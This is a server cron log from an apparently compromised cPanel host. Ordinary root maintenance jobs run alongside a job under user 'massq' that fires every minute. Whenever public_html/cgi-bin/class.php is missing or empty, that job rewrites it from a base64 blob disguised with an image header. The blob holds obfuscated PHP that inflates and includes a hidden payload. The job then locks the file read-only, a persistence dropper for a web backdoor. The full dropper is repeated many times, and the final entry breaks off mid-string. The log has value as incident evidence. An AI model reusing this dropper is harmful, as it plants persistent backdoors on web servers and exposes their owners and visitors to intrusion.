Sep  5 13:59:01 server CROND[13430]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:59:01 server CROND[13432]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:00:01 server CROND[13834]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 14:00:01 server CROND[13836]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 14:00:01 server CROND[13835]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 14:00:02 server CROND[13845]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 14:00:02 server CROND[13848]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:00:02 server CROND[13847]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:00:02 server CROND[13849]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 14:00:02 server CROND[13856]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  5 14:00:02 server CROND[13853]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  5 14:00:02 server CROND[13857]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 14:01:01 server CROND[14817]: (root) CMD (run-parts /etc/cron.hourly)
Sep  5 14:01:01 server CROND[14816]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 14:01:01 server CROND[14819]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:01:01 server CROND[14818]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:01:01 server run-parts(/etc/cron.hourly)[14817]: starting 0anacron
Sep  5 14:01:01 server run-parts(/etc/cron.hourly)[14840]: finished 0anacron
Sep  5 14:02:01 server CROND[15840]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 14:02:01 server CROND[15841]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:02:01 server CROND[15842]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:03:01 server CROND[16231]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:03:01 server CROND[16232]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:03:01 server CROND[16233]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 14:04:01 server CROND[16661]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 14:04:01 server CROND[16660]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:04:01 server CROND[16662]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:05:01 server CROND[17052]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  5 14:05:01 server CROND[17053]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 14:05:01 server CROND[17055]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 14:05:01 server CROND[17056]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 14:05:01 server CROND[17060]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 14:05:01 server CROND[17057]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 14:05:01 server CROND[17061]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 14:05:01 server CROND[17059]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:05:01 server CROND[17058]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:06:01 server CROND[17966]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:06:01 server CROND[17968]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 14:06:01 server CROND[17967]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:07:01 server CROND[18349]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:07:01 server CROND[18351]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:07:01 server CROND[18350]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 14:08:01 server CROND[18730]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 14:08:01 server CROND[18731]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:08:01 server CROND[18732]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:09:01 server CROND[19205]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  5 14:09:01 server CROND[19206]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:09:01 server CROND[19210]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 14:09:01 server CROND[19207]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:10:01 server CROND[19600]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 14:10:01 server CROND[19602]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 14:10:01 server CROND[19605]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 14:10:01 server CROND[19607]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:10:01 server CROND[19609]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 14:10:01 server CROND[19611]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5Uorz